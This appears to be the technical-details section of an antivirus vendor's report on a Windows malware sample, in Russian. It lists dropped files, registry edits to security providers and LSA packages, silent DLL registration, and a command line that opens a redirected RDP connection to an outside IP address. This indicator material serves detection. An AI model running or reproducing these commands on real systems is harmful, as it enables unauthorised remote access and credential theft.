Техническая информация
- [<HKLM>\SYSTEM\ControlSet001\Control\SecurityProviders] 'SecurityProviders' = 'msapsspc.dll, schannel.dll, digest.dll, msnsspc.dll, credssp.dll'
- [<HKLM>\SYSTEM\ControlSet001\Control\Lsa] 'Security Packages' = ''
- Средство контроля пользовательских учетных записей (UAC)
- '%APPDATA%\RDP6\ConnectionClient.exe' -server 193.248.211.91 -port 491 -domain NAULIER -color 32 -alttab 0 -disk on -printer on -com off -smartcard off -preview on -remoteapp off -seamless on -wallp green -rdp5 off -usb on -smartsizing 0 -localtb 32
- '<SYSTEM32>\regsvr32.exe' /s "%APPDATA%\RDP6\TSFTPClient.dll"
- %APPDATA%\RDP6\TSFTPClient.DLL
- %TEMP%\aut9.tmp
- %APPDATA%\RDP6\bkgsc.bmp
- %TEMP%\aut7.tmp
- %APPDATA%\RDP6\ico2.ico
- %TEMP%\aut8.tmp
- %APPDATA%\RDP6\bkgscgreen.bmp
- %TEMP%\autC.tmp
- %APPDATA%\RDP6\bkgscpink.bmp
- %TEMP%\autA.tmp
- %APPDATA%\RDP6\bkgscblue.bmp
- %TEMP%\autB.tmp
- %APPDATA%\RDP6\TsCredentials.exe
- %TEMP%\aut3.tmp
- %APPDATA%\RDP6\mstscax.dll
- %TEMP%\aut1.tmp
- %APPDATA%\RDP6\<Имя вируса>.txt
- %TEMP%\aut2.tmp
- %APPDATA%\RDP6\ConnectionClient.exe
- %TEMP%\aut6.tmp
- %APPDATA%\RDP6\languk.ini
- %TEMP%\aut4.tmp
- %APPDATA%\RDP6\mstsc.exe
- %TEMP%\aut5.tmp
- %TEMP%\autA.tmp
- %TEMP%\aut9.tmp
- %TEMP%\aut8.tmp
- %APPDATA%\RDP6\bkgsc.bmp
- %TEMP%\autC.tmp
- %TEMP%\autB.tmp
- %TEMP%\aut7.tmp
- %TEMP%\aut3.tmp
- %TEMP%\aut2.tmp
- %TEMP%\aut1.tmp
- %TEMP%\aut6.tmp
- %TEMP%\aut5.tmp
- %TEMP%\aut4.tmp
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'